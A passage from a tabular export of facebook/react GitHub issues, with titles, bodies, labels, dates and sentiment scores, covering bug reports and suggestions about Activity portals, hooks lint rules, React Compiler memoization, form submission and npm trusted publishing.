  Your bug w... [TRUNCATED]",Status: Unconfirmed,2025-10-29 02:18:26+00:00,2026-01-28 10:54:52+00:00,5,Status: Unconfirmed,91.3586,react uncaught typeerror do not know how to serialize a bigint of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version set props with bigint your bug w truncated,bug,-0.34
facebook/react,3561168860,Activity mode=“hidden” does not hide nested portals,"React's `<Activity>` component does not hide portals when they are nested under another element. Only direct portal children are hidden, causing inconsistent behavior.

React version: 19.2.0

## Steps To Reproduce

1. Wrap a parent `<div>` inside `<Activity mode=""hidden"">`
2. Inside that `<div>`, render any regular child and a portal via `createPortal(...)`
3. Observe: regular child is hidden but the portal remains visible
4. Remove the additional wrapper and observe that the portal is now hidden correctly

Link to code example: https://codesandbox.io/p/sandbox/hwt3pl

Minimal reproduction:

```jsx
import { createPortal } from ""react-dom"";
import { Activity } from ""react"";

export default function App() {
  return (
    <Activity mode=""hidden"">
      <div>
        <h1>Hello</h1>
        {createPortal(<p>Portal child (should be hidden)</p>, document.body)}
      </div>
    </Activity>
  );
}
```

## The current behavior

Portals nested within another element inside  remain visible when Activity is in “hidden” mode.

## The expected behavior

All children of an element, including portals nested at any depth, should be hidden and restored consistently when using “hidden” mode.

---

## Notes

Not sure if this is a bug or expected behavior, though. But I feel like we should either find a way to hide the portal or update the docs to mention this on the ""unwanted side effects"" section. Thoughts?",Status: Unconfirmed,2025-10-28 11:41:56+00:00,2025-11-10 19:39:41+00:00,3,Status: Unconfirmed,13.3318,activity mode hidden does not hide nested portals react s component does not hide portals when they are nested under another element only direct portal children are hidden causing inconsistent behavior react version wrap a parent inside inside that render any regular child and a portal via observe regular child is hidden but the portal remains visible remove the additional wrapper and observe that the portal is now hidden correctly link to code example the current behavior portals nested within another element inside remain visible when activity is in hidden mode the all children of an element including portals nested at any depth should be hidden and restored consistently when using hidden mode notes not sure if this is a bug or though but i feel like we should either find a way to hide the portal or update the docs to mention this on the unwanted side effects section thoughts,others,-0.0382
facebook/react,3560457621,Bug: eslint(react-hooks/set-state-in-effect) not work with try catch function,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

## Steps To Reproduce

<img width=""474"" height=""466"" alt=""Image"" src=""https://github.com/user-attachments/assets/b3f9db99-e62c-4953-ab47-db79ecb3b755"" />

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
```
const Demo = ()=>{
  const [count, setCount] = useState(0);
  useEffect(()=>{
    setCount(123);
  },[])
  const handleClick = useCallback(()=>{
    try {
      console.log(""do"");
    } catch (_error) {
      console.log(""error"");
    }finally{
      console.log(""finally"");
    }
  },[])
  return <div onClick={handleClick}>Demo {count}</div>
}

const Demo2 = ()=>{
  const [count, setCount] = useState(0);
  useEffect(()=>{
    setCount(123);
  },[])
  
  return <div>Demo {count}</div>
}
```
<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-28 08:52:50+00:00,2026-04-15 16:26:26+00:00,6,"Status: Unconfirmed,Resolution: Stale",169.315,eslint react hooks set state in effect not work with try catch function of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example truncated,bug,-0.7003
facebook/react,3555275031,Bug: `eslint-plugin-react-hooks` causes weird lint error: `react-hooks/use-memo`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.0
eslint-plugin-react-hooks: 7.0.1

## Steps To Reproduce

1. Make `useCallback` with an explicitly typed function.
2. Run `npm run lint`

```tsx
type Noop = () => void;
const WeirdLintError = () => { // eslint error 1
  const [count, setCount] = useState(0);
  const handleClick = useCallback(
    (() => {
      setCount((c) => ++c);
    }) satisfies Noop,
    []
  );

  return <button onClick={handleClick}>Count: {count}</button>;
};
const WeirdLintError2 = () => { // eslint error 2
  const [count, setCount] = useState(0);
  const handleClick = useCallback(
    (() => {
      setCount((c) => ++c);
    }) as Noop,
    []
  );

  return <button onClick={handleClick}>Count: {count}</button>;
};
const WorkAroundLintError = () => { // Workaround to the function above
  const [count, setCount] = useState(0);
  const handleClick = useCallback<Noop>(() => {
    setCount((c) => ++c);
  }, []);

  return <button onClick={handleClick}>Count: {count}</button>;
};
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://stackblitz.com/edit/v... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-27 06:33:32+00:00,2026-02-01 11:06:53+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.1898,causes weird lint error of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version eslint plugin react hooks make with an explicitly typed function run your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example truncated,bug,-0.7269
facebook/react,3553676282,Bug:,"I found that in the react render, the class  `SRu4RHny` and  `BIxkyKps`   just like here below:

in the pure html file, the `SRu4RHny`  will be rendered first  and then render the `BIxkyKps` class props,

but why the  `SRu4RHny`  will be rendered in the last ? 


<img width=""1049"" height=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/56e52425-e63e-4506-98bf-f97f755bfdb6"" />


<img width=""888"" height=""551"" alt=""Image"" src=""https://github.com/user-attachments/assets/2b39fe7f-f6aa-47bf-a4e5-719238a5e974"" />

## The current behavior
SRu4RHny rendered in the last and the BIxkyKps was rendered in the fisrt

## The expected behavior
just like the pure html, the `BIxkyKps` should be rendered in the last , as it was placed in the behind, just like the pure html




",Status: Unconfirmed,2025-10-26 09:51:01+00:00,2025-12-02 09:42:52+00:00,1,Status: Unconfirmed,36.9943,i found that in the react render the class and just like here below in the pure html file the will be rendered first and then render the class props but why the will be rendered in the last the current behavior sru rhny rendered in the last and the bixkykps was rendered in the fisrt the just like the pure html the should be rendered in the last as it was placed in the behind just like the pure html,bug,0.8047
facebook/react,3551997772,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Type: Bug

### Repro steps

Type: Bug

### How often does this bug happen?

Every time

### What version of React are you using?

Type: Bug

### What version of React Compiler are you using?

Type: Bug","Type: Bug,Status: Unconfirmed",2025-10-25 07:20:59+00:00,2025-10-26 05:06:49+00:00,0,"Type: Bug,Status: Unconfirmed",0.9068,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro type bug repro steps type bug how often does this bug happen every time what version of react are you using type bug what version of react compiler are you using type bug,bug,-0.9371
facebook/react,3551997736,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Type: Bug

### Repro steps

Type: Bug

### How often does this bug happen?

Every time

### What version of React are you using?

Type: Bug

### What version of React Compiler are you using?

Type: Bug","Type: Bug,Status: Unconfirmed",2025-10-25 07:20:55+00:00,2025-10-26 05:07:04+00:00,0,"Type: Bug,Status: Unconfirmed",0.907,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro type bug repro steps type bug how often does this bug happen every time what version of react are you using type bug what version of react compiler are you using type bug,bug,-0.9371
facebook/react,3550913216,[Compiler Bug]: Memoization is not correctly applied around `for` loops,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAwgIYA21ARpXANYA0JZAsghhAQL4EAZjAgYCAHRAwEjPJIDc4gHbLBUJXDxoISggA0AFMTR5uYfgEoiyggTg6whYpTZ1+BALzsEXHgYNWHgB81rq2BNQIhJSeBAAMimG29kqOBG5eANoAuonhQrgEBilpaAAmBBCCBCZmVsA2+TXVBuUEAKQEAEyeHl5x9Y1N6QB0WKQAFq1lFnnDBJQA1Itz+QII1GSh86PjYFMAtOWzQ+F8p+dJBNJ4sLrOrvxzfGyZtRhg2SdhJYSZcGwyHhyNlYqQEABlPCUUwGOjfPggFggFKCNAAcxQ6GwuEIeAAnlgEEQCAAFahQdFoJQAeSwWgc7mEogIAHIGHQNgcsBSqUoDtJZAd7Ng0JEYAB6MpoRysxLKIyNCUSkVYMUw7RKDgQMoIZASEA0aiSZQCMAasBohDmcmU6l0hmpWZI8ATCAAdwAkkpTDAlDQwChBAGEHwgA

### Repro steps

In the provided minimal example, the memoization is clearly applied incorrectly. The variable `a` is initialized outside the for loop and serves as a counter within the loop, but for some reason it's a) treated as an external dependency to the loop and b) treated as if it's immutable. Since the memoization compares against the initial value of 0 but then stores the _final_ value after the loop, whenever the for loop causes `a` to increment it breaks the memoization for all subsequent renders.

### How often does ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-24 20:26:40+00:00,2026-06-17 22:54:16+00:00,5,"Type: Bug,Status: Unconfirmed,Component: React Compiler",236.1025,compiler bug memoization is not correctly applied around loops what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps in the provided minimal example the memoization is clearly applied incorrectly the variable is initialized outside the for loop and serves as a counter within the loop but for some reason it s a treated as an external dependency to the loop and b treated as if it s immutable since the memoization compares against the initial value of but then stores the final value after the loop whenever the for loop causes to increment it breaks the memoization for all subsequent renders how often does truncated,bug,0.7814
facebook/react,3545313872,[Compiler: suggestion] Performance improvement: Replace template literals with single quotes for static strings,"Dear React Compiler team,

I would like to bring to your attention a potential performance consideration regarding the current code generation strategy.

The React Compiler consistently uses template literals (backticks) for all string literals in the generated code, even when no variable interpolation is needed. For example:

```javascript
// Current output
(0, Z.jsxs)(`p`, {
    children: [
        `Edit `,
        (0, Z.jsx)(`code`, { children: `src/App.tsx` }),
        ` and save to test HMR`,
    ],
})

// Could be optimized to
(0, Z.jsxs)('p', {
    children: [
        'Edit ',
        (0, Z.jsx)('code', { children: 'src/App.tsx' }),
        ' and save to test HMR',
    ],
})
```

While the performance difference is minimal for individual string operations, template literals have a slight overhead compared to regular string literals due to:
- Additional parsing for potential interpolation syntax
- Slightly larger memory footprint
- More complex string creation process

Proposal:
- Uses single quotes for static strings without interpolation
- Only uses template literals when actual variable interpolation is needed

Tools:
- ""vite"": ""npm:rolldown-vite@latest""
- ""babel-plugin-react-compiler"": ""^1.0.0""",Status: Unconfirmed,2025-10-23 15:45:35+00:00,2025-10-23 16:53:44+00:00,1,Status: Unconfirmed,0.0473,compiler suggestion performance improvement replace template literals with single quotes for static strings dear react compiler team i would like to bring to your attention a potential performance consideration regarding the current code generation strategy the react compiler consistently uses template literals backticks for all string literals in the generated code even when no variable interpolation is needed for example while the performance difference is minimal for individual string operations template literals have a slight overhead compared to regular string literals due to additional parsing for potential interpolation syntax slightly larger memory footprint more complex string creation process proposal uses single quotes for static strings without interpolation only uses template literals when actual variable interpolation is needed tools vite npm rolldown vite latest babel plugin react compiler,others,0.8055
facebook/react,3542308451,Bug: View transitions don't work in Firefox,"React version: 19.2

## Steps To Reproduce

when I go to https://react.dev/blog/2025/04/23/react-labs-view-transitions-activity-and-more, none of the view transitions show the cross-fade animations in Firefox Developer Edition (145.0b5 (aarch64)). However, I see the animations in both Safari (Version 26.0.1 (21622.1.22.11.15)) and Google Chrome (Version 141.0.7390.109). 

In all three browsers, I see no relevant warnings in devtools, and no errors. 

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-10-22 20:35:05+00:00,2026-06-07 20:30:26+00:00,6,"Status: Unconfirmed,Resolution: Stale",227.9968,view transitions don t work in firefox react version when i go to none of the view transitions show the cross fade animations in firefox developer edition b aarch however i see the animations in both safari version and google chrome version in all three browsers i see no relevant warnings in devtools and no errors the current behavior the,bug,-0.7906
facebook/react,3540693510,"Bug: Form submitter is missing, if form includes input with name 'id'","When creating a form, with multiple submit buttons, you can tell which button is the submitter by giving the button a `name` and `value`. But _if_ you include an input element with the name `id` within the form, like `<input type=""hidden"" name=""id"" value=""1"" />` this information is gone.

The issue seems to originate from the function `createFormDataWithSubmitter()` in React. Specifically where it checks for `form.id`. 

https://github.com/facebook/react/blob/71b3a03cc936c8eb30a6e6108abf5550f5037f71/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js#L63-L65

When you include an input element with the name `id`, `form.id` will be the actual input element. I guess the intention here is instead to get the `id` attribute on the form instead?

```jsx
<form id=""my-form"">
  <input type=""hidden"" name=""id"" value=""1"" />
</form>
```

In the above example, `form.id` will be the `<input />` element, not `my-form`. If I remove the input element, `form.id` will be `my-form`.

React version: 19.2

## Steps To Reproduce

1. Create a form with with a named submit button (e.g. `action`, and an input field with name `id` 
2. Call `formData.get('action')` within the `action` handler of the form

Link to code example: https://codesandbox.io/p/sandbox/naughty-dew-d39gvp?file=%2Fsrc%2FApp.js%3A16%2C16

## The current behavior

The return value of `formData.get('action')` is `null`


## The expected behavior

The return value should be the `value` of the submitter.
",Status: Unconfirmed,2025-10-22 12:37:38+00:00,2025-12-18 10:34:17+00:00,4,Status: Unconfirmed,56.9143,form submitter is missing if form includes input with name id when creating a form with multiple submit buttons you can tell which button is the submitter by giving the button a and but if you include an input element with the name within the form like this information is gone the issue seems to originate from the function in react specifically where it checks for when you include an input element with the name will be the actual input element i guess the intention here is instead to get the attribute on the form instead in the above example will be the element not if i remove the input element will be react version create a form with with a named submit button e g and an input field with name call within the handler of the form link to code example the current behavior the return value of is the the return value should be the of the submitter,bug,0.9153
facebook/react,3539918858,Screen reader is incorrectly announcing table information on the whole tile section in windows.,"**Test Environment:**
OS: Windows 11 25H2 (26200.6584)
Browser: Edge (Version 142.0.3595.19)
Screen reader: NVDA (2025.2)
Test URL: https://bvaughn.github.io/react-virtualized/#/components/Masonry

**User Impact:**
Low vision and Blind users who uses screen readers will be impact if screen reader incorrectly announces the table information on the whole tile section.

**Repro Steps:**

1. Open the URL: https://bvaughn.github.io/react-virtualized/#/components/Masonry in edge browser in windows.
2. Masonry page will open.
3. Press tab key to navigate to the whole tile section.
4. Verify whether screen reader is incorrectly announcing table information on the whole tile section or not.

**Actual Result:**
Screen reader is incorrectly announcing table information on the whole tile section in windows.

**Refer Attachment:**

1. Screen reader is incorrectly announcing table information on the whole tile section in windows.png
2. Screen reader is incorrectly announcing table information on the whole tile section in windows.mp4
https://github.com/user-attachments/assets/50384b55-3e69-42f7-b507-fba873b6542a
<img width=""960"" height=""533"" alt=""Image"" src=""https://github.com/user-attachments/assets/d17bf91e-d6ba-42f2-ba00-975bf5b469c2"" />


**Expected Result:**
Screen reader shouldn't announce table information on the non-table content i.e. whole tile section in windows.","Status: Unconfirmed,Resolution: Stale",2025-10-22 09:16:54+00:00,2026-04-16 08:38:33+00:00,3,"Status: Unconfirmed,Resolution: Stale",175.9734,screen reader is incorrectly announcing table information on the whole tile section in windows test environment os windows h browser edge version screen reader nvda test url user impact low vision and blind users who uses screen readers will be impact if screen reader incorrectly announces the table information on the whole tile section repro steps open the url in edge browser in windows masonry page will open press tab key to navigate to the whole tile section verify whether screen reader is incorrectly announcing table information on the whole tile section or not actual result screen reader is incorrectly announcing table information on the whole tile section in windows refer attachment screen reader is incorrectly announcing table information on the whole tile section in windows png screen reader is incorrectly announcing table information on the whole tile section in windows mp expected result screen reader shouldn t announce table information on the non table content i e whole tile section in windows,others,-0.1531
facebook/react,3539607347,[DevTools Bug]: React Developer Tools extension causes rendering exception,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 18

extension version: 7.0.0

## Steps To Reproduce

- https://github.com/ant-design/ant-design/issues/55311#issuecomment-3404882699
- https://github.com/alibaba/hooks/issues/2864#issuecomment-3430931024

It works fine after closing the plugin

React Developer Tools extension has been updated recently. My browser automatically upgraded to the latest version 7.0.0. This issue also appeared. And after I tried to disable the extension, the page resumed normal operation.

https://github.com/ant-design/ant-design/issues/55251#issuecomment-3388638321

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

- [codesandbox](https://codesandbox.io/p/sandbox/ahooks-usevirtuallist-dkryqt)
- [reproduce](https://dkryqt.csb.app/) 

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stac... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-22 08:10:53+00:00,2026-01-28 08:08:37+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.9984,devtools bug react developer tools extension causes rendering exception of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version extension version it works fine after closing the plugin react developer tools extension has been updated recently my browser automatically upgraded to the latest version this issue also appeared and after i tried to disable the extension the page resumed normal operation your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example codesandbox reproduce please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example truncated,bug,-0.7906
facebook/react,3539351359,Bug: eslint-plugin-react-hooks treat `use` as a react hook,"eslint will provide `react-hooks/rules-of-hooks` errors on `use` api

React version: 19.2

## Steps To Reproduce

1. Add this code to a component
```
try {
  return React.use(context);
} catch {
  return false;
}
```

## The current behavior

eslint error on line 2
> React Hook ""React.use"" cannot be called in a try/catch block.

## The expected behavior

should not report an error",Status: Unconfirmed,2025-10-22 06:46:54+00:00,2025-10-22 06:52:42+00:00,0,Status: Unconfirmed,0.004,eslint plugin react hooks treat as a react hook eslint will provide errors on api react version add this code to a component the current behavior eslint error on line react hook react use cannot be called in a try catch block the should not report an error,bug,-0.8225
facebook/react,3539175229,Bug: Dev hydration false-positive for equivalent class token sets,"Proposed fix in PR: #34940 

**React version:** 19.x (also reproducible on current `main`)

## Steps To Reproduce

1. Server-render markup where `class` values are **token-equivalent** but differ by whitespace/order/duplicates.
2. Hydrate on the client with the same tokens in a different order/spacing.

Minimal reproduction:

```jsx
import * as React from 'react';
import * as ReactDOMClient from 'react-dom/client';
import * as ReactDOMServer from 'react-dom/server';

const container = document.createElement('div');
container.innerHTML = ReactDOMServer.renderToString(
<main className=""foo   bar  bar"" />
);

ReactDOMClient.hydrateRoot(
container,
<main className=""bar foo"" />,
{ onRecoverableError: () => {} } // surfaces the warning in DEV
);
```

CRLF variant:

```jsx
container.innerHTML = ReactDOMServer.renderToString(
<main className=""flex\r\nitems-center"" />
);
ReactDOMClient.hydrateRoot(container, <main className=""flex items-center"" />);
```

<img width=""498"" height=""406"" alt=""CRLF hydration"" src=""https://github.com/user-attachments/assets/726131b8-e99e-4b33-a72e-d31f00d96add"" />

## Link to code example

* Order/dupes/whitespace: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order)
* CRLF between tokens: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf)

> Open the Console to see the hydration w... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-22 05:26:52+00:00,2026-01-27 07:11:10+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.0724,dev hydration false positive for equivalent class token sets proposed fix in pr react version x also reproducible on current server render markup where values are token equivalent but differ by whitespace order duplicates hydrate on the client with the same tokens in a different order spacing crlf variant link to code example order dupes whitespace crlf between tokens open the console to see the hydration w truncated,bug,0.5994
facebook/react,3538742684,Consider Adopting NPM Trusted Publishing,"> ## Overview
> Recent [supply chain attacks on npm](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/) have highlighted the need for stronger package publishing security. The September 2025 Shai-Hulud worm compromised 500+ packages through stolen maintainer tokens, showing the risks of token-based publishing.
> 
> Trusted publishing helps by eliminating long-lived tokens that can be stolen or accidentally exposed; generating automatic provenance provides cryptographic proof of where/how packages are built; and is an industry standard adopted by `PyPI`, `RubyGems`, `crates.io`, `NuGet`, etc...
> 
> `NPM` is [planning to deprecate legacy tokens](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/#h-npm-s-roadmap-for-hardening-package-publication) and make trusted publishing the preferred method.
> 
> If assistance is welcome, please let me know and I can assist and/or get 
> further assistance as needed.
>
> ## Reference
> References:
> 
> * [NPM trusted publishing documentation](https://docs.npmjs.com/trusted-publishers)
> * [Announcement blog post](https://github.blog/changelog/2025-07-31-npm-trusted-publishing-with-oidc-is-generally-available/)
> * [Provenance statements guide](https://docs.npmjs.com/generating-provenance-statements)
> ","Status: Unconfirmed,Resolution: Stale",2025-10-22 01:37:02+00:00,2026-01-27 06:09:36+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.1893,consider adopting npm trusted publishing overview recent supply chain attacks on npm have highlighted the need for stronger package publishing security the september shai hulud worm compromised packages through stolen maintainer tokens showing the risks of token based publishing trusted publishing helps by eliminating long lived tokens that can be stolen or accidentally exposed generating automatic provenance provides cryptographic proof of where how packages are built and is an industry standard adopted by etc is planning to deprecate legacy tokens and make trusted publishing the preferred method if assistance is welcome please let me know and i can assist and or get further assistance as needed reference references npm trusted publishing documentation announcement blog post provenance statements guide,others,0.8807
facebook/react,3537490573,Bug: Unable to run `yarn build` on the newest main,"## Steps To Reproduce

1. Clone React repo or clean the repo with `git clean -fdx`
2. Run `yarn` and `yarn build`

## The current behavior

I'm getting an error while building `eslint-plugin-react-hooks.development.js`:
```
 BUILDING  jest-react.production.js (node_prod)
 COMPLETE  jest-react.production.js (node_prod)

Running: mkdir -p ./compiler/packages/babel-plugin-react-compiler/dist && echo ""module.exports = require('../src/index.ts');"" > ./compiler/packages/babel-plugin-react-compiler/dist/index.js
 BUILDING  eslint-plugin-react-hooks.development.js (node_dev)

@rollup/plugin-typescript TS7016: Could not find a declaration file for module '@babel/code-frame'. '/Users/blazejkustra/Documents/react/node_modules/@babel/code-frame/lib/index.js' implicitly has an 'any' type.
  Try `npm i --save-dev @types/babel__code-frame` if it exists or add a new declaration (.d.ts) file containing `declare module '@babel/code-frame';`

error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
```

## The expected behavior

Successful build 
","Status: Unconfirmed,Resolution: Stale",2025-10-21 17:21:26+00:00,2026-03-20 14:19:40+00:00,6,"Status: Unconfirmed,Resolution: Stale",149.8738,unable to run on the newest main clone react repo or clean the repo with run and the current behavior i m getting an error while building the successful build,bug,0.5423
facebook/react,3533909402,Signal & Observable [Updated],"## Initial Proposal

There is huge discussion about Signals and Observables, Solid.js is built upon Signals, highly popular library like `react-use` has `useObservable` util hook.

""Recently"", a [Signals proposal](https://github.com/tc39/proposal-signals) appeared and quickly drew attention.

[_-> Keep reading_](https://github.com/facebook/react/issues/30570)

---

Now [observables are shipped](https://github.com/WICG/observable) into browsers officially and I introduce a new update to my earlier proposal.

## Use cases

The main use-case of introducing signals to React is keeping Component updates **Isolated**, which React Team (IMHO) hasn't been able to achieve so far.

We know [React Context](https://react.dev/learn/passing-data-deeply-with-context), which is great actually, but it forces all the children of the context provider to reconcile.

What people trying to achieve with [Redux](https://redux.js.org/), [Jotai Atoms](https://jotai.org/) and etc. is essentially the same thing - have a ""source"" (provider) and ""sink"" (consumer) independent.

""Independent/Isolated"" means
- The ""atom"" doesn't need to be declared as Down Tree Component context, you can set/get it any component.
- You can access the state out of React Component.

**Abstract Example** (from my previous issue)

```tsx
import { use } from ""react""
import { searchSignal } from ""@/signals""

function Images() {
        // Only components that use this signal are updated.
	const search = use(searchSignal)

	return ... [TRUNCATED]",,2025-10-20 20:54:08+00:00,2026-02-10 21:47:31+00:00,10,nan,113.0371,signal observable updated initial proposal there is huge discussion about signals and observables solid js is built upon signals highly popular library like has util hook recently a signals proposal appeared and quickly drew attention keep reading now observables are shipped into browsers officially and i introduce a new update to my earlier proposal use cases the main use case of introducing signals to react is keeping component updates isolated which react team imho hasn t been able to achieve so far we know react context which is great actually but it forces all the children of the context provider to reconcile what people trying to achieve with redux jotai atoms and etc is essentially the same thing have a source provider and sink consumer independent independent isolated means the atom doesn t need to be declared as down tree component context you can set get it any component you can access the state out of react component abstract example from my previous issue tsx import use from react import searchsignal from signals function images only components that use this signal are updated const search use searchsignal return truncated,others,0.4269
facebook/react,3530551867,[Compiler: suggestion] Use const for strings,"Hi colleagues!

I look at my minified code processed by react-compiler and see that it is not optimal - a lot of identical string literals are used in the code and because of this, the code is not minimal at all.

for example:
```js
...
t[0] === Symbol.for(`react.memo_cache_sentinel`)
...
t[1] === Symbol.for(`react.memo_cache_sentinel`)
...
```

Could you use constants instead of string literals?  it would save a lot of resources!

```js
const s = `react.memo_cache_sentinel`;
...
t[0] === Symbol.for(s)
...
t[1] === Symbol.for(s)
...","Status: Unconfirmed,Resolution: Stale",2025-10-19 23:21:33+00:00,2026-02-17 22:07:21+00:00,9,"Status: Unconfirmed,Resolution: Stale",120.9485,compiler suggestion use const for strings hi colleagues i look at my minified code processed by react compiler and see that it is not optimal a lot of identical string literals are used in the code and because of this the code is not minimal at all for example could you use constants instead of string literals it would save a lot of resources js const s t symbol for s t symbol for s,others,0.2709
facebook/react,3523355106,Bug: Flow definitions are missing for React 19,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. Use flow-typed
2. Get Flow definitions

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://github.com/flow-typed/flow-typed/tree/main/definitions/npm/react-dom_v18.x.x

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

only 18 is available

## The expected behavior

https://github.com/flow-typed/flow-typed/tree/main/definitions/npm/react-dom_v19.x.x

should exist","Status: Unconfirmed,Resolution: Stale",2025-10-16 20:06:24+00:00,2026-03-23 12:20:22+00:00,4,"Status: Unconfirmed,Resolution: Stale",157.6764,flow definitions are missing for react of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version use flow typed get flow definitions your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior only is available the should exist,bug,-0.7906
facebook/react,3519168023,[Compiler Todo]: function hoisting within jsx,"React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0

## Steps To Reproduce

```ts
function App() {
  function CreatedAtRender1() {
    return (
      <div>
        {/* Comment below to make it show error */}
        <CreatedAtRender2 />
      </div>
    );
  }

  function CreatedAtRender2() {
    return <div>M</div>;
  }

  return (
    <div>
      <CreatedAtRender1 />
    </div>
  );
}
```

1. Run `npm run lint`
2. No errors reported (Ignore the one tsconfig issue)
3. Comment out `<CreatedAtRender2 />` 
4. Run `npm run lint`
5. the error will show as expected when linting.


Link to code example: https://stackblitz.com/edit/vitejs-vite-vuqvgbnf?file=src%2FApp.tsx&view=editor

## The current behavior
If two components are nested, the plugin thinks it is not created during render.

## The expected behavior
